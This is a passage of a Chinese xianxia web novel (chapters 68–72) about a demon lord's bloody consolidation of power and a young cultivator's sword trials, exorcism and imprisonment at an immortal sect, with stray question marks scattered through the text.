赢破张开双臂,腾飞应仗,在群魔中厮杀,他无所畏惧,只要接近了?他的?妖邪,就会被他碾碎吞噬。 “万鬼阵,开启!” 数百只恶鬼不知?什么时候联合起来?,开启了?一个强大的?阵法,只见阵法中伸出?数只鬼手,赢破被吞进?了?那阵法之中。 “哈哈哈,这恶魔的?血肉就归我了?!” “当真如此?”只见赢破从阵法中飞了?出?来?,将一只暗影豹鬼抓住,撕咬开它的?脖子。 施阵者亡,阵法不受控制,开始四处虐杀。 无数腐肉从空中炸开,有的?挂在了?树枝上,有的?掉落在屋檐上,有的?散落在地面,原本青石砖的?地面如今染满了?污血,血流成河,一直流到赢破的?脚下。 一只鬼牙蛛道:“凌恒魔君,你这般暴虐,还想?我们臣服于你?做梦!” 赢破道:“既然?你们都无用,那孤就将你们都吃了?。” 他身后?展开一道黑色的?巨影,朝所有妖邪扑去,啃咬的?声音与尖啸声交织在一起。 一战过后?,看着这一幕惨状,赢破擦了?擦嘴角的?鲜血。 魇灵归来?,道:“陛下,要不要我将那樊家之人通通杀了??” 赢破现出?一双血瞳,道:“杀。” 魇灵追去,将几位仙师捉住。 仙师求饶道:“都是那樊鸣的?主意,放过我,我只是一介散修,关于樊府的?秘密,我全都告诉你们好不好?” 魇灵将他们通通撕碎,舔了?舔自己沾满鲜血的?手掌。目光又往樊府方向看去,鬼魅如影。 樊鸣逃回府中,慌乱道:“父亲,那魔头吃了?所有妖邪,如今魔力大增,我们该怎么办?” 樊隆道:“那魔子竟然?有这么大本事,当初他魔眼被挖,照理说不该如此,难道他天生有两个魔眼?盈绣呢?管家!” 管家出?现,他拖着一条长长的?蛇尾,道:“主子,二小姐找到一个千霄宫弟子,被带去千霄宫。” 樊隆重重拍了?桌案一下,“她以为这样,就可以脱离我的?掌控?鸣儿,随我进?宫。” 樊隆带着樊鸣跪在了?殿内,他们身旁放着一个巨大的?红色箱子。 赢破道:“你们来?是想?孤亲自杀了?你们?” 樊隆道:“微臣特来?向陛下告罪,微臣病重,实在不知?道这逆子竟然?伙同府中几位散修欺瞒陛下。如今陛下对他要杀要剐,微臣绝无二意。” 樊鸣惊道:“父亲!” 赢破嘴角一勾,道:“他在你膝下侍奉多年,你真的?舍得?” 樊鸣双目已红。 樊隆道:“他忤逆圣意,就算是微臣的?义子,微臣也应大义灭亲。除此之外,管家,掀开箱子。” 管家立马打开了?那红色箱子,里面樊盈绣被捆束了?双手双脚。 樊隆道:“微臣这个不争气的?女儿,任性胡闹,微臣也将她带来?赠于陛下。” 赢破一见樊盈绣,就为她松了?绑。 樊盈绣跳出?箱子,扑到了?他的?怀中,道:“阿破,我害怕。” 赢破没有推开她,道:“怕什么?”语气轻佻。 樊盈绣眸中眼欲滴落,道:“阿破不要伤了?我父亲,他年龄已大,又患了?病,经不起折腾。好不好?” 赢破伸出?一手,掌心一吸,樊鸣的?头就在他手中,只一瞬,樊鸣的?头被捏碎,血花炸裂,死前他睁大了?双眸,双唇蠕动?。 樊盈绣偏过头。 赢破在她耳边道:“孤杀了?你哥哥,你高不高兴?” 樊盈绣道:“杀了?就杀了?,阿破高兴就好。我本来?也看不惯他,欺负阿破的?人,我都不喜欢。” 他对上她那双明?眸,笑了?起来?,道:“那就送你父亲回去,让他在家养病,今后?朝廷之事就不劳烦他了?。” 樊盈绣道:“好啊,管家还不送父亲回去?” 管家得令,立马搀扶着樊隆出?宫。 樊盈绣道:“阿破,我想?要的?东西,你都会给我吗?” 赢破道:“自然?。” 樊盈绣顿时笑靥如花。 第69章 第 69 章 孟枝枝正?在屋内收拾东西?, 梅珊来找她。 她道:“枝枝,今日师父要在清幽阁讲剑术,门中?弟子都去了?,我?听说你?也有一把本?命剑, 就同我?一块去吧。” 孟枝枝正?想怎么才能打探关于无真更多的消息, 便答:“好。” 她们两人来到清幽阁, 此处四处群山环绕, 有泉水叮咚, 摆放了?一百张桌案。 很多弟子早早就来了?,抢占位置,后来的弟子只能站着听课。 有人看到梅珊便挥手,道:“梅珊师姐!” 梅珊也笑着挥了?挥手,她牵住孟枝枝道:“我?是师父亲传弟子, 自有座位,枝枝,你?同我?一块坐。” 孟枝枝道:“谢谢。” 梅珊道:“你?实在太客气了?。快看,师父来了?,我?们快快落座。” 二人坐在了?第一排右侧, 她看见了?旁边靠近中?心的两个位置都是空的。 梅珊道:“那是大师兄和一剑师兄的座位, 大师兄伤一好, 又下山除鬼母了?,一剑师兄不放心, 带了?许多药王谷里炼制的丹药,也跟着去了?。” 孟枝枝道:“贤剑真君就这么纵容云庭?” 梅珊道:“大师兄的剑术早已在我?们之上,此节课是中?等剑术, 大师兄和一剑师兄早已习得,师父本?就宠爱他们, 就随他们去了?。” 贤剑真君道:“今日要讲的是剑心,持剑者剑心稳,则使剑稳。” 说罢,他拿起一把木剑,手一施展,就劈开了?一块比人一般高的巨石。 众弟子拍手叫绝。 贤剑真君道:“莫要小看任何一把剑,当持剑者心中?无惧,木剑也能劈裂顽石。门中?早已发放了?关于剑招的书籍,仅仅熟练剑招是不够,如果心中?畏惧,剑力就发挥不出来。现在谁能站出,能用我?手中?的木剑劈开最小的沧海石,就算剑术考核通过。” 一排沧海石摆放了?出来,由小到大,一共三块,小的就有半人高,中?间那颗有一人高,而最大的沧海石看上去比五个人环抱加起来都厚重。 众弟子耳目交接。 “沧海石可是这天底下最硬的石头,打造无数宝剑的材料都来源于它,这木剑乃是普通木头制成,要砍天底下最硬的石头,怎么砍得断啊!” “怕什么怕,真君都说能做到,那定能做到,我?来!” 一位弟子率先上前,劈那最小的沧海石,木剑顿时一分五裂。 “我?来!” 弟子们一个皆一个上场,只有了?了?几?个人能劈开最小的沧海石。 贤剑真君道:“你?们几?人剑术考核通过。” 那几?位弟子喜极而泣。 贤剑真君又道:“但这只是修炼剑术的开端,切勿因此而狂妄自大,今后你?们还要多加修行。” “弟子明白。” 突然有一道女声出现,道:“我?想挑战第二块沧海石。” 此言已出,所有人目光看去,那女子额中?一抹红痣,鲜艳无比。 樊盈绣站出来,一身?锦绣绸缎,衣袂飘飘。 她从贤剑真君手中?接过木剑,两指一并,那木剑如同羽袖,轻轻挥去。 沧海石纹丝不动,众弟子皆笑出声。 此时贤剑真君落到沧海石前,将?石头轻轻掰开,原来那沧海石早被劈了?一条缝,裂痕太细,以至于所有人没有第一时间看出来。 贤剑真君道:“剑无风,了?过无痕。好剑风!你?叫什么名字。” 樊盈绣抱拳道:“我?叫樊盈绣,盈是盈盈秋水的盈,绣是锦绣前程的绣。” 有弟子大喊道:“樊师姐好厉害!” 樊盈绣嘴角弯了?弯,对贤剑真君道:“我?刚入门不久,多谢真君赐教。” 贤剑真君眼中?满是欣赏,道:“你?可有兴趣当我?万剑峰的内门弟子。” 樊盈绣半跪道:“求之不得。” 弟子们拍手叫好,没想到这才入门的女弟子竟然有如此剑法,引得贤剑真君青睐,那沧海石可是比之前几?位考核过关的弟子选择的都要大。 贤剑真君十分满意?道:“看来青出于蓝而胜于蓝,吾心甚慰。” 梅珊道:“我?也想试一试。” 孟枝枝看她起身?,也将?那木剑对准第二块沧海石,不过一瞬,也劈开了?。 孟枝枝拍手道:“厉害!” 梅珊回头看她,笑得眉眼弯弯。 贤剑真君道:“梅珊。” 梅珊顿时瑟缩了?起来,道:“师父。” 贤剑真君道:“你?入我?座下多年,为什么不选择最大的那块沧海石?还是你想与人争锋,故意?如此?” 梅珊道:“师父,我?没有。梅珊愚钝,只能劈开这第二块沧海石。” 贤剑真君道:“试试。” 梅珊看着贤剑真君那严肃的眼神,只能拿起那木剑,站在比她还高的沧海石前。 她鼓起勇气,将?全部注意?力集中?于木剑之上,只见她跳于空中?,旋转自身?,剑招之精妙,吸引了?所有人的目光。 一剑从天而下,擦出激烈的火花,沧海石被劈,剑身?滑落,直至一半,便再也下不去了。 众人目光皆露可惜。 梅珊心中?紧张,拔剑而出,神情沮丧道:“师父,我?没做到。” 贤剑真君道:“考核通过,下去吧。” 梅珊擦了?擦眼角,回到座位前。 孟枝枝道:“你?已经做得很好了?。” 梅珊道:“是我?不争气,我?拜入师父座下多年,却始终做不到像大师兄和一剑师兄那般。” 她捏紧了?衣角,倔强着不肯再抬头,让孟枝枝不知道怎么安抚。 此时,贤剑真君目光落到孟枝枝身?上,道:“孟芷,你?来。” 孟枝枝一顿,站起身?来,手中?接过贤剑真君抛来的木剑。 贤剑真君道:“试试这块最大的沧海石。不要怕,失败了?也没关系。” 孟枝枝屏息,直接将?手中?的剑丢了?出去,那剑一瞬穿过沧海石,刺入那不远处粗壮的树木之中?。 她掌心一抬,木剑飞回了?她手中?,完好无损。 “卧槽,牛逼啊!”人群中?爆发了?更加猛烈的声音,他们都在四处询问孟枝枝是何人。 贤剑真君面?露慈祥道:“好,很好。” 孟枝枝道:“是梅珊先劈开了?一半,我?不过是蝇附骥尾。” 贤剑真君道:“你?太谦虚了?,这般剑力就算沧海石完好,你?也能做到。此次考核,孟芷魁首!” 众弟子欢呼成一片,今日能见到如此精湛的剑术真是十足地开了?眼界,剑术本?身?就难,能亲历一番就已是积攒经验。 樊盈绣眸底闪过一丝愤恨,她盯着孟枝枝,孟枝枝察觉到她的目光,也看了?过来。 “樊师姐,刚刚你?那招好厉害,能不能教教我??” 樊盈绣笑道:“都是同门,此言客气了?,我?们一同学习,我?入门短,诸位师兄姐如此厉害,盈绣还想好好请教一番。” 她在几?个弟子的簇拥下离开。 孟枝枝原本?想去找梅珊,可早不见她的踪影,她想梅珊被打击了?,定是心情不快。她一转视线,就看见十几?位弟子都在看她,似乎是对她很感兴趣,想要结交。 这时,贤剑真君叫住了?她,道:“孟芷小友,你?随我?来。” 弟子们露出止步的表情。 孟枝枝冲他们抱拳道:“我?叫孟芷,如今和梅珊住在一块,欢迎你?们来找我?玩。” 弟子们一个个露出笑容,对她纷纷抱拳。 孟枝枝走向?贤剑真君,他一挥衣袖,二人便站在了?云上。他将?她带到万剑冢之中?,道:“此地是我?门内弟子选剑之处,但这里同样是个练剑的好去处,你?无事可来这里自行修炼。” 孟枝枝道:“真君,此等恩情,我?不知何以为报。” 贤剑真君道:“要感谢就感谢你?自己,你?一身?灵力修为早已超越了?大部分弟子,你?师父将?你?教得很好。” 孟枝枝道:“敢问真君,那位无真是怎么死的?” 贤剑真君叹了?口气道:“无真本?是千霄宫一名外门弟子,十分不起眼,但心性不正?,杀了?我?门中?几?人,被我?抓住了?之后,眼看人证物证俱在,就死在了?我?面?前。惭愧,事情过去太过久远,如果不是你?提起,我?也差点忘记此事。” 孟枝枝道:“那真君见过我?师父吗?我?听说我?师父与?无真走得近,二人曾形影不离。” 贤剑真君道:“恐怕要让小友失望了?,我?未曾见过你?师父。不过能教出你?这样的徒弟,我?也心中?好奇,她是一个怎样的人?” 孟枝枝回忆道:“我?师父待我?比亲生父母更甚,她医术精妙,几?乎将?毕生所学皆传授给我?。虽然她有时候很严厉,但她总是会在我?疲惫受伤的时候默默照顾着我?。自从我?和师父去了?南元国?,师父笑得越来越少了?,我?原以为是师父压力太大,但后来我?想明白了?,她知道总有一日会离开我?,她始终放心不下我?。”她声音微哽。 贤剑真君道:“好孩子,莫要伤心。人总得向?前看,我?也听梅珊讲过关于你?的事,你?身?世曲折,能死里逃生,已是不易,不要太过苛责自己。” 孟枝枝道:“不知真君能不能帮我?看一看这壁水珠?” 她抚摸着脖子上这颗珠子。 贤剑真君眼神一凛,他手掌一挥,那璧水珠散发着幽绿色的光芒。周围波纹滚动,空气都变得扭曲了?起来。 孟枝枝亲眼看见,他竟然逼得珠中?的水夜叉现身?了?。 第70章 第 70 章 那璧水珠中水夜叉发出?滋滋的腔调, 声音怪异,听着无比刺耳。 孟枝枝喉间涌上一股鲜血。 贤剑真君双手?结印,双唇飞快蠕动,孟枝枝只觉得头晕目眩, 天地旋转, 晕了过去。 贤剑真君一把?接住了她, 看着那颗幽绿色的珠子漂浮在空中。 “鬼仙, 你究竟有什么企图?” 璧水珠中水夜叉一身道袍翩飞, 它老朽的声音传来:“你心?知肚明,又何必来问我?” 贤剑真君叹道:“你对成?仙如此?执念,不惜将自己困在这珠子里,是期盼着她能带你去神域吗?” 鬼仙睁着的那只眼里倒映着沧海桑田,岁月变迁, 道:“我等多少年,她是我唯一遇见?与神域有关的人。” 孟枝枝额心?现出?了双人蛇尾交缠的印记,只是周围已经落下幽绿色的结界,地面震动,却传导不出?去。 贤剑真君道:“你以杀证道, 罪孽深重, 就算你将自己困守在珠子里, 助人实现愿望,但你并不是真心?想守护她, 怎么就能认为神域会认可你?” 鬼仙情绪激动道:“我就是想一探究竟,这天地是何道理,你们人修不也一样杀了人, 竟然?也能成?仙,而我杀了无数同族, 为人除害,为何我就不能成?仙!就因为我是鬼族?!” 贤剑真君道:“就算神域认定了她,你认为她一定就会带你去往神域?她一心?执念要寻到师父,尘心?之重,你还是放过她吧。” 四周幽绿色结界,流动着水一般的波纹,似乎鬼仙也在思?考。 贤剑真君道:“你若是愿意放过她,我就带你去往神迹,那是千霄宫先辈成?仙后遗留下的地方,至于能不能参悟,就看你自己了。” 璧水珠在空中旋转,周围庞大的结界如同旋风,全?向它涌去。 贤剑真君掌心?之中躺着璧水珠,它隐含光辉,渐渐泯灭,成?了一颗普通的绿色珠子。 孟枝枝醒来之时,见?自己正躺在房间里。 她摸了摸脖子上的璧水珠,没有了。 孟枝枝恍然?片刻,喊了一句:“梅珊。” 梅珊闻声而来,道:“枝枝,是师父把?你送回来,发生了什么,难道你被邪魔攻击了吗?” 孟枝枝疑惑道:“没有,你怎么会这么说?” 梅珊面容焦急道:“听闻鬼母来犯,师父唤我送你回来就匆匆赶了过去,我以为你遭遇了邪魔攻击。” 孟枝枝心?道,鬼母来袭千霄宫? 难道是来抓她的? 此?刻,云庭和路一剑一路追踪回千霄宫,却不见?鬼母踪影,于是向贤剑真君禀明情况。 贤剑真君道:“看来这个凌恒魔君贼心?不死。” 路一剑气道:“这魔头胆大包天,竟然?使动鬼母来我千霄宫抓人。我和大师兄追了一路,被她耍得团团转。” 贤剑真君道:“魇灵失踪,鬼母就被放了出?来,看来那魇灵必定在皇宫之中。庭儿,一剑,你们将去下界的情况都说出?来,一丝一毫都不要放过。” 云庭道:“上一次抓魇灵之时,我们在别院遇到了凌恒魔君,我本?想用师父给的绿玉如意封印鬼母,却先被孟芷阻拦,她手?中有一柄白玉如意,与师父的极为相似,我以为她与那两只妖怪是凌恒魔君的手?下,便对他们下手?,后来才知道不是。” 贤剑真君脸色一变道:“她手?中有一柄白玉如意?” 路一剑道:“是啊,师父,我和大师兄亲眼所见?,两柄法器几乎一模一样,她不光能催动那白玉如意,也能催动绿玉如意。绿玉如意的催动方式,如果?不是师父告诉我们,我们压根不知,她又是怎么知道的?这事并不能怪大师兄。” 贤剑真君叹了口气,道:“如今隐世?如何?” “隐世?被鬼母大肆破坏,许多散修丧命,纷纷逃至别处。” 贤剑真君道:“既然?那鬼母来了我千霄宫,我们就不能让她逃出?去再祸害别人。庭儿,一剑,这段时间你们就呆在山上,注意防范,有任何问题随时来报。” 二人抱拳,道:“遵命。” 云庭掌心?翻出?,现出?那绿玉如意,道:“这法器还是由师父保管,我和一剑无法十成?十地将它的功效发挥出?来。有师父在,定能再次封印鬼母。” 贤剑真君抚摸着那绿玉如意,眼中满是怀念,“好。此?次行动勿要惊动普通弟子,悄悄进行。” 三人对视一番,心?中已有成?算。 孟枝枝站在凉亭之上,风吹起她垂鬟上的红色发绳。天际一片漆黑,偶有山林野兽在嚎叫。 她转身将剑横在了一人身上,她道:“樊县主?,这么晚特地来找我,恐怕不是什么好事吧。” 樊盈绣道:“孟枝枝,你是忘恩负义吗?是我将你带出的皇宫,你现在还拿剑指着我。” 孟枝枝道:“水夜叉那战,你故意将我推入湖中,你想我死,却不曾想我活了下来,还进了千霄宫。” 樊盈绣道:“你怎么会认为是我将你推入湖中?” 孟枝枝从袖中掏出?一截缎布,道:“你推我下湖,就没有检查一下身上有没有什么遗漏?” 樊盈绣卷起一缕发丝,道:“是我又怎么样?” 孟枝枝一用力,锋锐的剑边割破了她的脖子。 樊盈绣感到脖子一股热流涌了出?来,伸手?摸了摸,是血,道:“你竟然?敢伤我!你难道就想凭借一块破布,就要在师门前?泼我的脏水?” 孟枝枝笑?道:“泼你的脏水?” 她步步逼近樊盈绣道:“你信不信我现在就敢杀了你!”她明亮的眼睛迸发出?火一样的颜色。 樊盈绣脸色一绿,道:“不,你绝对不会这么做。你是修士,你这样是在残害凡人!” 孟枝枝眉尾一挑,道:“你现在又认为你是凡人了?我告诉你,我眼中揉不得沙子,有一回,就不会再有第二次机会让你伤我。你要是聪明些,就应该知道我来千霄宫不是来抢你的风头。你要在仙门中大放光彩,是你的事,我不屑参合。但要再来打扰,你可得当心?着点。” 樊盈绣面容变得扭曲,道:“你威胁我?孟枝枝,你以为你拜了散修为师,又拜入贤剑真君座下,就能高过我吗!阿破可是在我面前?日?日?夜夜念着要你的命,到底是谁先死,那还不一定呢!” 孟枝枝眼神一冷,二人争锋相对。 此?时,又有脚步声来。 梅珊道:“枝枝,我来看看你。咦,盈绣师妹,你怎么在这儿?” 孟枝枝面容微冷。 樊盈绣搂着孟枝枝的胳膊道:“梅珊师姐,我与枝枝是故交,在人界的时候就认识了,我也是来特地看看她。今日?在课上,她的表现可真是厉害,让我心?中好生佩服。” 她就像闺中密友一样对孟枝枝展现出?亲昵的那面,动作大大方方。 梅珊道:“对啊,如果?不是你,我还不会先认识枝枝。你们现在都拜入万剑峰,以后也都是师姐师妹了。” 樊盈绣笑?脸盈盈道:“是啊,还望二位师姐以后多多照拂。” 梅珊道:“客气了。” 樊盈绣道:“天色已暗,我一个人回去有些怕,梅珊师姐能不能带我回去呀?” 梅珊道:“那枝枝,我过会儿再来找你。” 樊盈绣眼底微冷。 孟枝枝点点头,道:“我给你留灯。” 樊盈绣攀上梅珊的胳膊,缓缓走出?了孟枝枝的视野。 冷风吹拂,漆黑的青砖路上,樊盈绣道:“梅珊师姐认为枝枝是一个怎样的人?” 梅珊道:“枝枝人心?地善良,剑术又好,修为也高,确实就像师父所说是个修仙的好苗子。” 樊盈绣叹息一声,道:“梅师姐真是个好人呢。” 梅珊不解道:“师妹是什么意思??” 樊盈绣道:“梅师姐拜入真君座下数年,剑术精湛,今日?那招实在厉害,枝枝是厉害,但也是借了师姐的光,如果?不是师姐先将那沧海石劈了一半,她怎么能劈得开呢?要我说最厉害的就是师姐了,刚刚师姐所言,又足以说明师姐胸怀博大,只是可惜……” 梅珊道:“可惜什么?” 樊盈绣左右一看,附耳她道:“可惜好像贤剑真君更满意枝枝甚过师姐,我真是为师姐鸣不平。” 梅珊立马辩道:“师妹不要乱说。师父他对弟子向来都公平,今日?枝枝确实表现得好。” 樊盈绣似乎觉得不好意思?,道:“师姐说得是,我只是敬佩师姐剑品高尚,才有此?言,还希望师姐不要往心?里去。” 梅珊道:“无事,就当小姐妹之间聊聊悄悄话,我不会往外说。” 樊盈绣将脸地往梅珊胳膊一贴,道:“我最喜欢梅师姐了!” 梅珊不禁翘了翘嘴角。 待梅珊归来,就看见?枝头上灯笼长明,孟枝枝那间房屋已经暗下。 她心?中感到熨帖。 “可惜好像贤剑真君更满意枝枝甚过师姐……” 她摇了摇脑袋。 枝枝已经证明了自己的实力,师父向来有惜才之性,她何必要去吃那般醋。今日?抛下枝枝就走,是她不对,枝枝明明人生地不熟,况且师父还交代过她要多带带枝枝,她不该还去吃枝枝的醋。 她取下那灯笼,提起,回了自己的房间。 70-80 第71章 第 71 章 清晨, 风和日丽。 孟枝枝一早就被?梅珊拉起来参加千霄宫的各种课程。 孟枝枝不好?拒绝,跟着听了几场,反而变得投入,尤其到无心?仙君授课关于医术方面, 她更是听得津津有味。 她不禁感叹, 大?仙门果真是资源丰盛, 什么奇花异草都有。 梅珊正在炼化一株绛珠仙草, 可是始终不得门路。 无心?仙君走了下来, 她拍了拍梅珊的肩膀,道:“不要紧张,将注意力放在仙草上?,不要去想失败的事。” 梅珊一听,放下双肩, 绛珠仙草在她的掌心?中逐渐融化,变成液体?。 她惊喜道:“我成功了。” 无心?仙君肯定地点了点头,道:“梅珊,做得不错。” 梅珊脸红道:“都是师叔教?得好?。” 无心?仙君鼓励了几句,又去指教?别的弟子?, 梅珊一扭头, 就看着孟枝枝枕着下巴, 笑着看她。 梅珊羞赧道:“你看我干什么,作业做好?了?” 孟枝枝松开手, 道:“做好?了。” 梅珊看见她不光把绛珠仙草炼化成液,那草液还在透明的瓶子?中熠熠生辉。 人比人真是气死人啊,可枝枝本来就是医修, 比她做得好?是正常的,这样想心?里?又平衡了一点。 孟枝枝道:“我觉得你很喜欢无心?仙君。” 梅珊看向无心?仙君, 目光里?多了几分敬仰,道:“无心?师叔是七位师叔里?性格最温柔,最善解人意的。我以后想成为无心?师叔那样的人。” 孟枝枝道:“确实,她贵为一峰之主,还亲自下来教?导弟子?们,也不拘泥内外门,指教?又细致又点到要出,真的是一个很好?的人。” 梅珊有些紧张道:“枝枝你也喜欢无心?仙君?” 孟枝枝双手捧着脸,道:“喜欢啊,但是我最喜欢的还是我师父,我师父是天底下最好?的师父。” 梅珊笑了,道:“你这嘴,好?好?好?,你师父最好?,行了吧?” 孟枝枝也跟着笑了。 不过眨眼,后方发生动乱。 一个弟子?突然四肢抽搐,面目变得恐怖,眼神恶狠狠的,像要吃人。无心?仙君立马在他额头贴了一张定身符,然而那位弟子?看着却更加暴烈,全身的肌肉都鼓了起来,嘴里?发出滋滋的怪叫。 众弟子?围观道:“这是练功练得走火入魔了?” 无心?仙君掏出法铃,在他周围摇晃,那法铃呈青铜色,有两只?麒麟耳朵。 随着法铃一震,弟子?身体?跟着颤抖。 无心?仙君道:“快去请贤剑真君来。” 梅珊道:“师父今日带弟子?们去万剑冢选本命剑了,一时半会?儿回不来。” 无心?仙君道:“梅珊,你先去叫,这里?我顶住,一定要快,否则他性命不保。其他弟子?赶紧撤离。” 梅珊见事态焦急,道:“我马上?去请!” 她向旋风一般冲了出去,其他弟子?三?三?两两地撤离开,又不忘看一看这倒地的弟子?,想来是觉得无心?仙君在此,闹不出什么大?事。 那弟子?从地面上?弹起,恶狠狠地向无心?仙君扑了过来,身上?的血肉像融化一般,皮肤剥落,斑痕遍布。 无心?仙君只?守不攻,显得更为被?动。 此时,孟枝枝站出身,同无心?仙君道:“仙君,请先拖住他,我来驱邪。” 无心?仙君刚要开口,只?见那弟子?已经扑到眼前。 定身符纸无用,法术伤人,只?能肉搏。 她将那弟子?反手制住。 孟枝枝此刻念起净天地神咒,白玉如?意的柔光顿时洒满室内。 她眼中充斥着金光,道:“还不快滚!” 一瞬间,那弟子?发出凄厉的嚎叫,额前的符纸灰飞烟灭,一股强大?的黑气从体?内汹涌而出,朝孟枝枝扑来。 孟枝枝眼中无惧,道:“既然你不走,那就杀无赦!” 白玉如?意旋转,白色的柔光顿时散做万千星光,将那团黑气团团抱住,刹那间炸裂开来。 黑气顿时消失无影,那弟子?猝然倒地。 无心?仙君立马去把他的脉搏,松了口气,道:“活下来了。” 她这时才转头看向孟枝枝,眼中疑虑不定。 她身影极快,在孟枝枝身上?贴了一张定身符。 孟枝枝不解道:“仙君,为什么?” 此时,贤剑真君和梅珊都赶到了,一众弟子?在门口围观,他们统统都看见了孟枝枝驱邪的过程。 无心仙君对贤剑真君行了礼,道:“师兄,此人偷盗了你的法器。” 孟枝枝看见梅珊对她的眼神也充满着怀疑。 孟枝枝立马解释道:“这法器是我从一个叫净念道师的人那儿获得的,我没有偷法器。” 梅珊道:“可是那法器催动,除了师父就无旁人知晓。枝枝,我不想怀疑你,你说?你获得了这法器,但这催动之术又是怎么学会的。” 孟枝枝顿时回忆起往事,如?果她说?是师父教?她的,他们会?信吗? 她道:“我有口难辨,但这法术是以往师父教?会?我的,我师父已经失踪了,真君也知晓。我无法找出旁的人为我证明。” 无心?真君道:“你师父不过是一介散修,她又是怎么会?的?你师父不在,你也无法解释。” 她转而对贤剑真君道:“师兄,此人是万剑峰的人,但来路不明,我建议先将她打入天牢,再?来查明真相。” 众弟子?都认为无心?仙君说?得在理。 贤剑真君道:“孟芷心?性纯善,我不信她是盗法器的人。” 孟枝枝眸中燃起希望,只?要贤剑真君信她,她就能安全。 无心?仙君道:“可是众弟子?都瞧见了,我还未说?明那是邪,她就知道,还如?此擅长那柄法器,望师兄三?思。如?果此次让她逃脱,那其他弟子?有样学样,千霄宫的秩序还如?何维护?在那天牢之中,也无人会?亏待她,不失为最稳妥的法子?。” 弟子?们窃窃私语,本身孟枝枝就表现?不凡,可是确实身份可疑,最近又有鬼邪出没,倘若她与?那鬼邪是一伙,放了她之后,那岂不是人人自危? 贤剑真君闭了闭眼道:“先将她打入天牢,任何人不许苛待她,否则按法处置。” 他取下她身上?的定身符,道:“实在对不住,先委屈你一段时间。” 孟枝枝道:“我知道真君的为难之处,没关系,清者自清,我愿意进入天牢。” 贤剑真君道:“我带你过去。” 梅珊眼见着贤剑真君将孟枝枝带走,樊盈绣不知什么时候出现?在她身边,发出一声?感叹:“真君当真是偏爱枝枝啊。” 梅珊心?底一沉。 孟枝枝盘坐在天牢之中,这里?是个山洞,里?面蜿蜒曲折,而她所在的地方四面铜墙铁壁,身后是死路,隔音效果极好?。 贤剑真君袖口一摆,数十颗夜明珠现?于洞中,瞬间照亮。他又提前叫人打点好?,此处床榻梳洗等物?俱全。 孟枝枝道:“多谢真君愿意相信我。” 贤剑真君道:“我知道你无心?引起争端,如?果不是为了救人,你也不必暴露,想来是有人陷害你。” 孟枝枝道:“有人陷害我?” 贤剑真君道:“鬼母出现?,虽然我们极力掩盖事情,不想人心?动荡,但弟子?中流言肆起。今日鬼母又诬害一名弟子?,可能门中有奸细。此事,我定会?查个水落石出,你不必担心?,此处也算安全,我将心?法传授于你,你可好?好?修炼。” 他两指一并,点了点额心?,又指向孟枝枝。一股暖流进入了她体?内。 孟枝枝瞬间清明,道:“这心?法好?厉害,我一定多加练习。” 贤剑真君眼中现?出慈爱,道:“好?。只?是有一件事,我想请小友赐教?。” 孟枝枝道:“真君请说?。” 贤剑真君道:“那玉如?意的心?法当真是你师父传授于你?” 孟枝枝道:“是的,我与?师父相处数十年,她将那心?法拆分,多次教?授于我。我催动白玉如?意之时,并没有想那么多,我以为那心?法十分普遍。” 贤剑真君眼中似是追忆,道:“看来你师父用心?良苦,当真疼你。我先去处理门中事务,你好?生呆着。” 孟枝枝抱拳道:“恭送真君。” …… 云庭对贤剑真君禀报道:“师父,我查探到那弟子?,他偷跑去过隐世,想来那时候他就鬼母已经被?盯上?了。” 贤剑真君道:“还有多少弟子?去隐世?” 路一剑道:“师父,这弟子?们平日里?都喜欢偷跑去隐世闲逛,若要查清,恐怕也有百人左右。” 云庭道:“那不如?先将这些弟子?都暂时关押起来,以免中邪伤人。” 贤剑真君道:“竟有这么多人,一剑常去那隐世?” 路一剑被?看穿,满脸羞愧道:“倒也不常去,只?是偶尔。” 贤剑真君无奈道:“就知道你们这群猴儿在山上?耐不住寂寞,凌恒魔君那处有没有什么动作?” 云庭道:“前段时日,凌恒魔君和数千妖邪战斗,他吞噬了大?半妖怪,法力大?增。人界又出现?许多邪魔投奔凌恒魔君。” 贤剑真君道:“凌恒魔君野心?勃勃,不知仙誓还能撑多久。另外六位峰主也已派妥帖的弟子?四处查探,抓住鬼母的事得尽快,这鬼母日间法力最为虚弱,一剑先去嘱咐下去,晚上?让弟子?们不要出门。” 路一剑道:“好?,师父,我这就去!” 等他走后,贤剑真君道:“庭儿,你还是太急了。要是关押上?百弟子?,牵扯进这么多人,其他峰主都会?有意见。你知道我钟意的峰主候选之人是你,你如?此行事,还是放不下往事啊。” 云庭道:“师父,我不愿坐峰主之位,一心?只?想斩魔。师父亲传弟子?只?有我们三?人,还是请您考虑一剑和梅珊吧。” 贤剑真君道:“一剑那性子?坐不住,整日就爱与?弟子?们打闹。梅珊心?思重,接人待物?大?方,骨子?里?却爱独来独往,再?说?你修为已至臻化,平时看似面冷,但你是最关心?弟子?们安危的,只?是功利心?太强,不考虑别人是否能接受。瞅瞅你这样子?,是不是又是好?些日子?未眠了?你该歇一歇了,身体?拖垮了,还怎么斩妖除魔?” 云庭道:“师父教?训得是。师父您还健壮,万剑峰还是得由您来撑腰。” 贤剑真君目光温柔,摇了摇头,指着他道:“你这小子?算盘打得精,是想着前方你闹腾,让我这师父给你善后?” 云庭垂首。 贤剑真君道:“罢了,不勉强你。那孟芷,我亲眼看过,是个好?苗子?,心?地纯正,天赋也强,你多加照顾,与?她化干戈为玉帛。此事不过分吧?” 云庭道:“为什么师父对那孟芷如?此看重?” 贤剑真君道:“我往日也做过散修,知散修修炼艰难,她能到如?此成就极为不易。她既能放下恩怨,救治你,还不藏拙,救了那名中了邪的弟子?,我也不想明珠蒙尘。你这性子?,也得好?好?改改,做错了事,怎能如?此待人接物??若下次,孟芷再?见你还是冷眼相对,我可要将你派去经营采买之事修炼一番心?性了。” 云庭激动道:“师父!” 贤剑真君挥了挥手,不肯再?与?他说?。 他被?师父一阵风送出大?门,大?门紧紧合上?。 第72章 第 72 章 云庭站在门口, 半日不动弹,眸中皆是迷茫。 师父要他和孟芷打好关系? 他向来都?不知怎么和人?打好关系,该怎么做才?算打好关系呢? 他边走边想。 “大师兄,我?终于等到你了。”只见樊盈绣穿了一身丹青色仙衣, 衬得那红痣栩栩如生?, 更添仙姿。 她手中提了一个食盒, 道:“我?做了些糕点, 想同几位师兄师姐分享, 这份是给大师兄的。” 云庭想了一会儿,记起了她,道:“樊盈绣?” 樊盈绣眸子里?现出惊喜,道:“大师兄还记得我?。大师兄唤我?师妹就好,如今我?也是万剑峰的内门弟子了。这糕点还热乎, 师兄快尝尝。” 她拿出一块,那糕点还妥帖地用纸包着,递到云庭跟前。 云庭吃了一口,道:“不错。” 